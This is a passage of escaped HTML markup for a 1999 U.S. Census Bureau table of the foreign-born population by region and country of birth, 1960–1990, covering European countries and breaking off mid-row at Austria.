    &lt;TD&gt;Source:  U.S. Bureau of the Census&lt;BR&gt;
Internet Release date:  March 9, 1999
        &lt;P&gt;
        (See text for sources, definitions, and explanations)&lt;/TD&gt;
  &lt;/TR&gt;
&lt;/TABLE&gt;

&lt;TABLE CELLPADDING=&quot;5&quot; BORDER=&quot;1&quot;&gt;
  &lt;TR ALIGN=&quot;right&quot; VALIGN=&quot;bottom&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;Line&lt;BR&gt;
     number&lt;/TD&gt;
    &lt;/TD&gt;&lt;TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;Region and country or area&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;[[U.S. Census, 1990|1990]]*&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;[[U.S. Census, 1980|1980]]*&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;[[U.S. Census, 1970|1970]]*&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;[[U.S. Census, 1960|1960]]*&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;1&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;STRONG&gt;Total&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;19,767,316&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;14,079,906&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;9,619,302&lt;/STRONG&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&lt;STRONG&gt;9,738,091&lt;/STRONG&gt;&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;Reported by region and/or country&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;18,959,158&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;13,192,563&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,303,570&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,678,201&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,350,403&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,149,572&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,740,891&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;7,256,311&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Northern and Western Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,058,853&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,384,257&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,629,200&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,334,971&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Northern Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;968,271&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,083,499&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,271,591&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,694,430&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;6&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;British Isles&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;809,972&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;866,966&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;937,474&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,171,777&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;7&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;United Kingdom&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;640,145&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;669,149&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;686,099&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;833,055&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Great Britain&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;623,614&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;649,318&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;645,262&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;764,893&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;England&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;405,588&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;442,499&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;458,114&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;528,205&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;10&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Scotland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;104,168&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;142,001&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;170,134&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;213,219&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;11&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Wales&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;10,638&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;13,528&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;17,014&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;23,469&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;12&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Great Britain n.e.c.&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;103,220&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;51,290&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;13&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Northern Ireland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;16,531&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;19,831&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;40,837&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;68,162&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;14&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Ireland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;169,827&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;197,817&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;251,375&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;338,722&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;15&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Scandinavia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;158,299&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;216,533&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;334,117&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;522,653&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;16&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Denmark&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;34,999&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;42,732&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;61,410&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;85,060&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;17&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Finland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;22,313&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;29,172&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;45,499&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;67,624&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;18&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Iceland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,071&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,156&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,895&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,780&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;19&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Norway&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;42,240&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;63,316&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;97,243&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;152,698&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;20&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sweden&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;53,676&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;77,157&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;127,070&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;214,491&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;21&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Western Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,090,582&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,300,758&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,357,609&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,640,541&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;22&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Low countries&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;132,617&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;142,748&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;155,513&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;173,069&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;23&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Belgium&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;34,366&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;36,487&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;41,412&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;50,294&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;24&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Luxembourg&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,053&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,125&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,531&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,360&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;25&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Netherlands&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;96,198&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;103,136&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;110,570&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;118,415&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;26&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Austria&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;87,673&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;145,607&lt;/TD&gt;
